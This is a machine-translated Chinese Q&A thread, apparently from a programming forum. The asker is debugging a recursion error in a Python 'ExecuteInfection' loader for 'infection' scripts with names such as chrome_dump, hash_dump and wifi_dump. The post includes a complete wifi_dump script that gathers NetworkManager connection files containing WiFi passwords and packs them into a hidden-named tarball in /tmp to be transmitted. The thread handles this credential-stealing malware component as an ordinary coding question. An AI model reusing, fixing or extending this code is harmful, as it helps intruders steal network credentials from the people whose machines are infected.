首先讓我解釋一下我正在嘗試做什麼,我想創建一個類來從某個目錄(如果該文件存在)導入文件, ,並將該文件作爲腳本運行。例如:創建一個類來導入腳本並運行該類中的腳本
class RunScript(object):
def __init(self, script):
if script in someListThatContainsScriptNamesProbablyJSONFile:
self.script = # do something fancy and import the script
def run_exec(self):
# do something and execute the script maybe subprocess?
所以我的問題是,我該如何成功地從這個類運行腳本?我真的不想使用子流程,因爲我認爲它可能看起來有點亂,有另一種方法可以做到這一點嗎?如果不是,那麼使用子處理就完全沒問題。
我試過到目前爲止:
import os
__all__ = [
"ask_pass", "chrome_dump", "firefox_dump",
"hash_dump", "wifi_dump"
]
script_path = "{}/opts/infection_opt/{}"
class ExecuteInfection(object):
@staticmethod
def __fix_filename(filename):
if ".py" in filename:
ext_index = filename.index(".")
return filename[ext_index:-1]
def __init__(self, script):
if ExecuteInfection(script).__fix_filename(script) in __all__:
self.script = __import__(script_path.format(os.getcwd(), script))
else:
raise ImportError("{} is not a valid infection operation script.".format(script))
然而,這在運行時,我得到一個錯誤說:
if ExecuteInfection(script).__fix_filename(script) in __all__:
RuntimeError: maximum recursion depth exceeded
在參考意見,回答,在這裏是我將要導入的腳本之一
import os
import tarfile
import string
import random
def _find_config_files(path="/etc/NetworkManager/system-connections"):
"""
Find the configuration files that contain the Wifi passwords
> :param path: path to the configuration files
> :return: True and the files or False and None if nothing found
Example:
>>> _find_config_files()
(True, set(['AgE1a2', 'AISNetwork2', 'BBB1ffC9ce', 'AISNetwork1']))
"""
found_files = set()
if os.path.exists(path):
for item in os.listdir(path):
found_files.add(os.path.join(path, item))
return True, found_files
return False, None
def _make_tar(status, _file_start="nm_log_{}.tar.gz", tmp_dir="/tmp/{}"):
"""
Create a tar file and store it in the temp directory for processing
and transmitting
> :param status: the status and the files found
> :param _file_start: the start of the name of the tar file
> :param tmp_dir: path to the temp directory to be formatted
> :return: full path to the created filename or None
"""
def __rand_filename(_start, ints=string.digits, length=4):
"""
Create a random filename for the tarfile
> :param _start: start of the filename
> :param ints: the acceptable numbers to be used
> :param length: the length of the filename
> :return: a random filename
Example
>>> _make_tar((True, set(["test.txt"]))).__rand_filename(_file_start)
nm_log_4768.tar.gz
"""
_finalize = [random.choice(ints) for _ in range(length)]
return _start.format(''.join(_finalize))
filename = __rand_filename(_file_start)
file_path = tmp_dir.format(filename)
if status[0]:
with tarfile.open(file_path, "w:gz") as tar:
for f in status[1]:
tar.add(f)
return file_path
else:
print(
"no tarball could be created, it appears that no files could be found "
"assuming that the files don't exist and this person has no idea what "
"the internet is, get out now."
) # todo:/ change to log
return None
def main():
""" main function of the script """
data_found = _find_config_files()
filename = _make_tar(data_found)
if filename is not None:
return filename
if __name__ == "__main__":
main()
您嘗試導入自制的腳本?它看起來像這個問題,而不是在這些腳本內:使用「啞」使我認爲你正在試圖刪除的東西,你可能會做遞歸。 有沒有辦法使它超過999個遞歸步驟?正如錯誤消息所述,python有一個限制。 –
換句話說,如果你有這個錯誤,看到導入這個錯誤的腳本將會很好。 –
@Alceste_對於延遲響應抱歉,我可以繼續發佈我正在導入的其中一個腳本。一秒 –